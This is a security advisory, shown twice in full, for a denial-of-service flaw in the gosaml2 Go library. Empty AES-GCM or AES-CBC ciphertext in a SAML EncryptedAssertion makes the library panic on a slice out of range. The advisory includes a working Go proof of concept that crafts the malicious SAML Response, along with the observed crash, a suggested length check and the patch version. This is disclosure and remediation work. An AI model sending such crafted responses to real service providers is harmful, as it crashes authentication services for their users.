Summary
An attacker who can supply a crafted SAML Response for parsing can crash a gosaml2 service provider by sending an EncryptedAssertion with AES-GCM encryption metadata and a CipherValue shorter than the GCM nonce size (12 bytes). The library panics with slice bounds out of range before any validation completes.
This is a distinct issue from GHSA-hwqm-qvj9-4jr2, which addressed panics in the AES-CBC decryption path (commit 3418f9ae09063ff8df0ce1bd93f24e538e614def, included in v0.10.0). That fix added a block-size check for CBC but left the AES-GCM path completely unprotected.
Details
ValidateEncodedResponse() decrypts EncryptedAssertion nodes before signature or content validation completes. There are two call sites:
1. Signed Response branch -- decoderesponse.go#L341 2. Unsigned Response branch -- decoderesponse.go#L388
Both call decryptAssertions() (decoderesponse.go#L150-L200), which calls EncryptedAssertion.DecryptBytes() at decoderesponse.go#L176.
Inside DecryptBytes() (types/encryptedassertion.go#L34-L92), the AES-GCM branch (line 53, case MethodAES128GCM, MethodAES192GCM, MethodAES256GCM:) slices the decoded ciphertext without checking its length at line 59:
go nonce, data := data[:c.NonceSize()], data[c.NonceSize():]
If CipherValue decodes to fewer than 12 bytes (GCM nonce size), Go panics with slice bounds out of range. All three GCM key sizes (AES-128-GCM, AES-192-GCM, AES-256-GCM) share the same vulnerable branch.
Comparison with the patched CBC path: The CBC branch (lines 65-88 of the same file) correctly checks len(data) % k.BlockSize() != 0 before slicing -- this was the fix for GHSA-hwqm-qvj9-4jr2. The GCM branch has no equivalent guard.
The attacker only needs the SP's public certificate (typically available in SAML metadata) to wrap a symmetric key via RSA-OAEP. The CipherValue for the assertion body can be left empty. No valid signature is required.
PoC
Test environment: - Apple M4 (arm64) - Go 1.26.1 - gosaml2 v0.11.0 (commit 636e7dda202a4d669644e72404a82616ffcbe004)
Self-contained reproduction:
go package main
import ( "crypto/rand" "crypto/rsa" "crypto/sha1" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "encoding/base64" "fmt" "math/big" "os" "time"
saml2 "github.com/russellhaering/gosaml2" dsig "github.com/russellhaering/goxmldsig" )
func main() { // Generate a throwaway SP key pair. key, := rsa.GenerateKey(rand.Reader, 2048) tmpl := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "sp.example"}, NotBefore: time.Now().Add(-time.Hour), NotAfter: time.Now().Add(time.Hour), } certDER, := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key) cert := tls.Certificate{ Certificate: [][]byte{certDER}, PrivateKey: key, }
// Wrap an attacker-chosen symmetric key with the SP's public cert. symKey := make([]byte, 16) wrappedKey, := rsa.EncryptOAEP(sha1.New(), rand.Reader, &key.PublicKey, symKey, nil)
responseXML := fmt.Sprintf(<?xml version="1.0" encoding="UTF-8"?> <saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Version="2.0" ID="id" IssueInstant="2026-03-19T00:00:00Z"> <saml2:Issuer>issuer.example</saml2:Issuer> <saml2p:Status> <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </saml2p:Status> <saml2:EncryptedAssertion> <xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#"> <xenc:EncryptionMethod Algorithm="http://www.w3.org/2009/xmlenc11#aes128-gcm"/> <xenc:CipherData><xenc:CipherValue></xenc:CipherValue></xenc:CipherData> <xenc:KeyInfo> <xenc:EncryptedKey> <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p"/> <xenc:CipherData><xenc:CipherValue>%s</xenc:CipherValue></xenc:CipherData> </xenc:EncryptedKey> </xenc:KeyInfo> </xenc:EncryptedData> </saml2:EncryptedAssertion> </saml2p:Response>, base64.StdEncoding.EncodeToString(wrappedKey))
encodedResponse := base64.StdEncoding.EncodeToString([]byte(responseXML)) sp := &saml2.SAMLServiceProvider{ AssertionConsumerServiceURL: "https://sp.example/acs", SPKeyStore: dsig.TLSCertKeyStore(cert), }
defer func() { if r := recover(); r != nil { fmt.Printf("panic: %v\n", r) os.Exit(0) } fmt.Println("no panic") os.Exit(1) }()
, err := sp.ValidateEncodedResponse(encodedResponse) fmt.Printf("returned err: %v\n", err) }
Observed output:
text panic: runtime error: slice bounds out of range [:12] with capacity 0
Impact
An attacker who can supply a crafted SAML Response for parsing can crash the service provider process with a single small payload. The library does not use recover(), so the panic propagates and terminates the goroutine. The crash happens before any response validation completes, so no valid IdP relationship or signature is required.
Suggested Fix
Add a ciphertext length check before splitting out the GCM nonce, matching the defensive pattern already used in the CBC branch:
go if len(data) < c.NonceSize() { return nil, fmt.Errorf("encrypted data is too short for AES-GCM nonce") }
Addendum: the CBC path was also affected
This advisory originally described the AES-GCM branch only, and stated that the CBC branch was correctly guarded by the fix for GHSA-hwqm-qvj9-4jr2. That turned out to be incomplete. The CBC guard was:
go if len(data)%k.BlockSize() != 0 { return nil, fmt.Errorf(...) } nonce, data := data[:k.BlockSize()], data[k.BlockSize():]
0 % 16 == 0, so an empty CipherValue passes the modulo check and panics on the following slice with slice bounds out of range [:16] with capacity 0. The earlier fix addressed a later panic in the padding-length read, not this one.
That second case was reported independently by @ericchiang and is merged into this advisory. Both researchers are credited as reporters above. Both branches now carry explicit length checks.
Patch
Fixed in v0.12.0 by https://github.com/russellhaering/gosaml2/pull/281, which adds len(data) < c.NonceSize() before the GCM slice and len(data) < k.BlockSize() before the CBC slice.
Summary
An attacker who can supply a crafted SAML Response for parsing can crash a gosaml2 service provider by sending an EncryptedAssertion with AES-GCM encryption metadata and a CipherValue shorter than the GCM nonce size (12 bytes). The library panics with slice bounds out of range before any validation completes.
This is a distinct issue from GHSA-hwqm-qvj9-4jr2, which addressed panics in the AES-CBC decryption path (commit 3418f9ae09063ff8df0ce1bd93f24e538e614def, included in v0.10.0). That fix added a block-size check for CBC but left the AES-GCM path completely unprotected.
Details
ValidateEncodedResponse() decrypts EncryptedAssertion nodes before signature or content validation completes. There are two call sites:
1. Signed Response branch -- decoderesponse.go#L341 2. Unsigned Response branch -- decoderesponse.go#L388
Both call decryptAssertions() (decoderesponse.go#L150-L200), which calls EncryptedAssertion.DecryptBytes() at decoderesponse.go#L176.
Inside DecryptBytes() (types/encryptedassertion.go#L34-L92), the AES-GCM branch (line 53, case MethodAES128GCM, MethodAES192GCM, MethodAES256GCM:) slices the decoded ciphertext without checking its length at line 59:
go nonce, data := data[:c.NonceSize()], data[c.NonceSize():]
If CipherValue decodes to fewer than 12 bytes (GCM nonce size), Go panics with slice bounds out of range. All three GCM key sizes (AES-128-GCM, AES-192-GCM, AES-256-GCM) share the same vulnerable branch.
Comparison with the patched CBC path: The CBC branch (lines 65-88 of the same file) correctly checks len(data) % k.BlockSize() != 0 before slicing -- this was the fix for GHSA-hwqm-qvj9-4jr2. The GCM branch has no equivalent guard.
The attacker only needs the SP's public certificate (typically available in SAML metadata) to wrap a symmetric key via RSA-OAEP. The CipherValue for the assertion body can be left empty. No valid signature is required.
PoC
Test environment: - Apple M4 (arm64) - Go 1.26.1 - gosaml2 v0.11.0 (commit 636e7dda202a4d669644e72404a82616ffcbe004)
Self-contained reproduction:
go package main
import ( "crypto/rand" "crypto/rsa" "crypto/sha1" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "encoding/base64" "fmt" "math/big" "os" "time"
saml2 "github.com/russellhaering/gosaml2" dsig "github.com/russellhaering/goxmldsig" )
func main() { // Generate a throwaway SP key pair. key, := rsa.GenerateKey(rand.Reader, 2048) tmpl := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "sp.example"}, NotBefore: time.Now().Add(-time.Hour), NotAfter: time.Now().Add(time.Hour), } certDER, := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key) cert := tls.Certificate{ Certificate: [][]byte{certDER}, PrivateKey: key, }
// Wrap an attacker-chosen symmetric key with the SP's public cert. symKey := make([]byte, 16) wrappedKey, := rsa.EncryptOAEP(sha1.New(), rand.Reader, &key.PublicKey, symKey, nil)
responseXML := fmt.Sprintf(<?xml version="1.0" encoding="UTF-8"?> <saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Version="2.0" ID="id" IssueInstant="2026-03-19T00:00:00Z"> <saml2:Issuer>issuer.example</saml2:Issuer> <saml2p:Status> <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </saml2p:Status> <saml2:EncryptedAssertion> <xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#"> <xenc:EncryptionMethod Algorithm="http://www.w3.org/2009/xmlenc11#aes128-gcm"/> <xenc:CipherData><xenc:CipherValue></xenc:CipherValue></xenc:CipherData> <xenc:KeyInfo> <xenc:EncryptedKey> <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p"/> <xenc:CipherData><xenc:CipherValue>%s</xenc:CipherValue></xenc:CipherData> </xenc:EncryptedKey> </xenc:KeyInfo> </xenc:EncryptedData> </saml2:EncryptedAssertion> </saml2p:Response>, base64.StdEncoding.EncodeToString(wrappedKey))
encodedResponse := base64.StdEncoding.EncodeToString([]byte(responseXML)) sp := &saml2.SAMLServiceProvider{ AssertionConsumerServiceURL: "https://sp.example/acs", SPKeyStore: dsig.TLSCertKeyStore(cert), }
defer func() { if r := recover(); r != nil { fmt.Printf("panic: %v\n", r) os.Exit(0) } fmt.Println("no panic") os.Exit(1) }()
, err := sp.ValidateEncodedResponse(encodedResponse) fmt.Printf("returned err: %v\n", err) }
Observed output:
text panic: runtime error: slice bounds out of range [:12] with capacity 0
Impact
An attacker who can supply a crafted SAML Response for parsing can crash the service provider process with a single small payload. The library does not use recover(), so the panic propagates and terminates the goroutine. The crash happens before any response validation completes, so no valid IdP relationship or signature is required.
Suggested Fix
Add a ciphertext length check before splitting out the GCM nonce, matching the defensive pattern already used in the CBC branch:
go if len(data) < c.NonceSize() { return nil, fmt.Errorf("encrypted data is too short for AES-GCM nonce") }
Addendum: the CBC path was also affected
This advisory originally described the AES-GCM branch only, and stated that the CBC branch was correctly guarded by the fix for GHSA-hwqm-qvj9-4jr2. That turned out to be incomplete. The CBC guard was:
go if len(data)%k.BlockSize() != 0 { return nil, fmt.Errorf(...) } nonce, data := data[:k.BlockSize()], data[k.BlockSize():]
0 % 16 == 0, so an empty CipherValue passes the modulo check and panics on the following slice with slice bounds out of range [:16] with capacity 0. The earlier fix addressed a later panic in the padding-length read, not this one.
That second case was reported independently by @ericchiang and is merged into this advisory. Both researchers are credited as reporters above. Both branches now carry explicit length checks.
Patch
Fixed in v0.12.0 by https://github.com/russellhaering/gosaml2/pull/281, which adds len(data) < c.NonceSize() before the GCM slice and len(data) < k.BlockSize() before the CBC slice.